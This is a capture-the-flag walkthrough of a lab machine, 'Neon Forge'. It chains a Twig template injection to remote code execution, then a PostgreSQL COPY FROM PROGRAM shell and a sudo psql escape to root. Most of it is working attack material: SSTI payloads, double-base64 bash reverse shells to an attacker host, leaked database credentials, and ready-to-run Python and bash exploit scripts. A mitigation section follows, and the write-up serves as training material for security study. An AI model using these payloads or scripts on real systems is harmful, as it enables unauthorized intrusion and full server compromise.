February 8, 2026

Neon Forge: HC Writeup

Reading time: ~10 minutes | Level: Intermediate

Target Information

  • IP Address: 172.16.1.195
  • Difficulty: Medium
  • Tags: Web, SSTI, Database, Privilege Escalation

Reconnaissance

Initial Enumeration

The target was identified as 172.16.1.195 with a web application running on port 80.

Initial exploration revealed a contact form that accepts a name parameter.


Web Enumeration

Discovery: Server-Side Template Injection (SSTI)

While testing the contact form, I discovered a Server-Side Template Injection vulnerability in the name parameter.

Test payload:

http
GET /contact?name={{['id']|map('passthru')|join}} HTTP/1.1
Host: 172.16.1.195

URL-encoded version:

http
GET /contact?name=%7b%7b%5b'id'%5d%7cmap('passthru')%7cjoin%7d%7d HTTP/1.1
Host: 172.16.1.195
Cookie: PHPSESSID=if4loelkfa6ib709017pu9f830

Response:

bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)

SSTI vulnerability confirmed! The application is using Twig template engine (PHP) and allows command execution through the passthru filter.


Exploitation: Remote Code Execution via SSTI

Understanding the Payload

The SSTI payload leverages Twig's filter system:

  • ['id'] - Creates an array with the command to execute
  • |map('passthru') - Applies PHP's passthru() function to execute the command
  • |join - Joins the output

Reverse Shell Payload

I crafted a reverse shell payload using double base64 encoding to bypass potential filters:

Original command:

bash
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

Base64 encoded (twice):

bash
WW1GemFDQXRhU0ErSmlBdl******************Gpnekx6UTBORFFnTUQ0bU1Rbz0=

Final payload:

bash
{{['echo WW1GemFDQXRhU0ErSmlBdl******************Gpnekx6UTBORFFnTUQ0bU1Rbz0= | base64 -d | base64 -d | bash']|map('passthru')|join}}

Complete request:

http
GET /contact?name=%7b%7b%5b'echo%20WW1GemFDQXRhU0ErSmlBdl******************Gpnekx6UTBORFFnTUQ0bU1Rbz0%3d%20%7c%20base64%20-d%20%7c%20base64%20-d%20%7c%20bash'%5d%7cmap('passthru')%7cjoin%7d%7d HTTP/1.1
Host: 172.16.1.195
Cookie: PHPSESSID=if4loelkfa6ib709017pu9f830

Listener:

bash
nc -lvnp 4444

Result:

bash
Connection received on 172.16.1.195 58764
bash: cannot set terminal process group (4326): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-172-16-1-195:~/html/public$ whoami
www-data

Reverse shell obtained as www-data!


Post-Exploitation: Lateral Movement

Database Credentials Discovery

While enumerating the web application files, I found database credentials in a PHP configuration file:

bash
Username: postgres
Password: o5Q%69BXI

PostgreSQL Access

Using the discovered credentials, I connected to the PostgreSQL database:

bash
www-data@ip-172-16-1-195:~/html/public$ psql -h 127.1 -U postgres
Password: o5Q%69BXI

PostgreSQL access obtained!


Privilege Escalation: PostgreSQL to Root

Method 1: Command Execution via COPY FROM PROGRAM

PostgreSQL's COPY FROM PROGRAM feature allows executing system commands. I leveraged this for lateral movement to the postgres user.

Steps:

  1. Create a temporary table:
sql
CREATE TABLE cmd_output (output TEXT);
  1. Execute reverse shell via COPY:
sql
COPY cmd_output FROM PROGRAM 'echo WW1GemFDQXRhU0ErSmlBdl******************Gpnekx6UTBORFVnTUQ0bU1Rbz0= | base64 -d | base64 -d | bash';

Note: The base64 payload decodes to:

bash
bash -i >& /dev/tcp/YOUR-IP/4445 0>&1

Listener:

bash
nc -lvnp 4445

Result:

bash
Connection received on 172.16.1.195 55200
bash: cannot set terminal process group (9677): Inappropriate ioctl for device
bash: no job control in this shell
postgres@ip-172-16-1-195:/var/lib/postgresql/16/main$ whoami
postgres

Lateral movement successful! Now running as postgres user.


Method 2: Sudo Privilege Escalation

After obtaining access as the postgres user, I checked for sudo privileges:

bash
postgres@ip-172-16-1-195:~$ sudo -l

Output:

bash
Matching Defaults entries for postgres on ip-172-16-1-195:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
 
User postgres may run the following commands on ip-172-16-1-195:
    (root) NOPASSWD: /usr/bin/psql

Critical misconfiguration found! The postgres user can run /usr/bin/psql as root without a password.

Exploiting psql for Root Shell

PostgreSQL's interactive client (psql) has a meta-command system that allows executing shell commands using \! or :!.

Exploitation steps:

  1. Run psql as root:
bash
sudo /usr/bin/psql -h 127.1 -U postgres
  1. Check available meta-commands:
bash
postgres=# \?
  1. Execute shell command:
bash
postgres=# :!/bin/sh

Result:

bash
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

ROOT ACCESS OBTAINED!


Attack Chain Summary

code
1. SSTI Discovery (Twig Template Engine)
   ↓
2. Remote Code Execution via passthru filter
   ↓
3. Reverse Shell as www-data
   ↓
4. Database Credentials Discovery (postgres)
   ↓
5. PostgreSQL Access
   ↓
6. Lateral Movement via COPY FROM PROGRAM
   ↓
7. Shell as postgres user
   ↓
8. Sudo Privilege Discovery (psql as root)
   ↓
9. psql Meta-command Abuse (\!)
   ↓
10. Root Shell Obtained

Vulnerabilities Summary

  1. Server-Side Template Injection CWE-1336 Critical

    • Remote Code Execution
  2. Hardcoded Database Credentials CWE-798 High

    • Credential disclosure
  3. PostgreSQL COPY FROM PROGRAM CWE-78 High

    • Command execution
  4. Sudo Misconfiguration CWE-250 Critical

    • Privilege escalation to root
  5. psql Shell Escape N/A Critical

    • Root access

Technical Analysis

SSTI Vulnerability Breakdown

Template Engine: Twig (PHP)

Vulnerable code pattern:

php
// Likely vulnerable code
$twig->render('contact.html', ['name' => $_GET['name']]);

Exploitation chain:

  1. User input directly embedded in template
  2. Twig's map filter allows calling PHP functions
  3. passthru() executes system commands
  4. Output captured via join filter

PostgreSQL COPY FROM PROGRAM

This feature was introduced in PostgreSQL 9.3 and allows the superuser to execute arbitrary commands:

sql
COPY table_name FROM PROGRAM 'command';

Security implications:

  • Requires superuser privileges or pg_execute_server_program role
  • Executes commands as the PostgreSQL process owner (postgres user)
  • Can be used for lateral movement or privilege escalation

Sudo Misconfiguration

The NOPASSWD directive for /usr/bin/psql allows the postgres user to escalate privileges because:

  1. psql provides shell escape mechanisms (\!, :!)
  2. When run as root, these escapes spawn root shells
  3. No password required due to NOPASSWD directive

Mitigation Recommendations

Application Level

  1. Fix SSTI Vulnerability:
    • Never pass user input directly to template engines
    • Use proper template context isolation
php
// Safe approach
   $twig->render('contact.html', [
       'name' => htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8')
   ]);
  • Disable dangerous filters in Twig configuration
php
   $twig = new \Twig\Environment($loader, [
       'autoescape' => 'html',
       'strict_variables' => true,
   ]);
  1. Implement Input Validation:

    • Whitelist allowed characters for the name field
    • Reject special characters like {, }, |, [, ]
  2. Use Security Headers:

    • Implement Content-Security-Policy
    • Add X-Content-Type-Options: nosniff

Database Level

  1. Secure Database Credentials:
    • Never hardcode credentials in source files
    • Use environment variables or secret management systems
php
   $db_pass = getenv('DB_PASSWORD');
  • Implement credential rotation policies
  1. PostgreSQL Hardening:
    • Restrict COPY FROM PROGRAM usage
sql
   REVOKE pg_execute_server_program FROM postgres;
  • Create application-specific database users with limited privileges
  • Use connection pooling with restricted permissions
  1. Network Segmentation:
    • Database should not be accessible from web server user context
    • Implement proper firewall rules
    • Use Unix sockets instead of TCP when possible

System Level

  1. Fix Sudo Misconfiguration:
    • Remove or restrict the psql sudo rule
bash
   # Remove this line from /etc/sudoers
   postgres ALL=(root) NOPASSWD: /usr/bin/psql
  • If PostgreSQL admin access is needed, create specific scripts
bash
   # /usr/local/bin/db-admin.sh with limited functionality
   postgres ALL=(root) NOPASSWD: /usr/local/bin/db-admin.sh
  1. Implement AppArmor/SELinux:

    • Restrict what the postgres user can execute
    • Limit file system access
  2. Principle of Least Privilege:

    • Web server should run with minimal permissions
    • Database user should have only required permissions
    • Avoid granting sudo access to service accounts
  3. Monitoring and Logging:

    • Enable PostgreSQL query logging
    • Monitor sudo usage
    • Implement intrusion detection systems (IDS)
    • Alert on suspicious template rendering patterns

Tools Used

  • Burp Suite - Web vulnerability discovery and exploitation
  • curl - HTTP request manipulation
  • netcat - Reverse shell listener
  • psql - PostgreSQL client
  • base64 - Payload encoding

Proof of Concept Scripts

SSTI Exploitation Script

python
#!/usr/bin/env python3
import requests
import base64
import urllib.parse
 
target = "http://172.16.1.195"
lhost = "YOUR-IP"
lport = "4444"
 
cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
 
encoded = base64.b64encode(base64.b64encode(cmd.encode()).decode().encode()).decode()
 
payload = f"{{{{['echo {encoded} | base64 -d | base64 -d | bash']|map('passthru')|join}}}}"
 
encoded_payload = urllib.parse.quote(payload)
 
url = f"{target}/contact?name={encoded_payload}"
print(f"[+] Sending payload to {url}")
print(f"[+] Start listener: nc -lvnp {lport}")
 
requests.get(url)

PostgreSQL Privilege Escalation

bash
#!/bin/bash
LHOST="YOUR-IP"
LPORT="4445"
 
PAYLOAD=$(echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" | base64 | base64)
 
cat << EOF | psql -h 127.1 -U postgres
CREATE TABLE IF NOT EXISTS cmd_output (output TEXT);
COPY cmd_output FROM PROGRAM 'echo $PAYLOAD | base64 -d | base64 -d | bash';
DROP TABLE cmd_output;
EOF

References

SSTI (Server-Side Template Injection)

PostgreSQL Security

Privilege Escalation

OWASP


Author: cbxcvl Date: February 8, 2026 Machine: Captain Release Date: January 3, 2026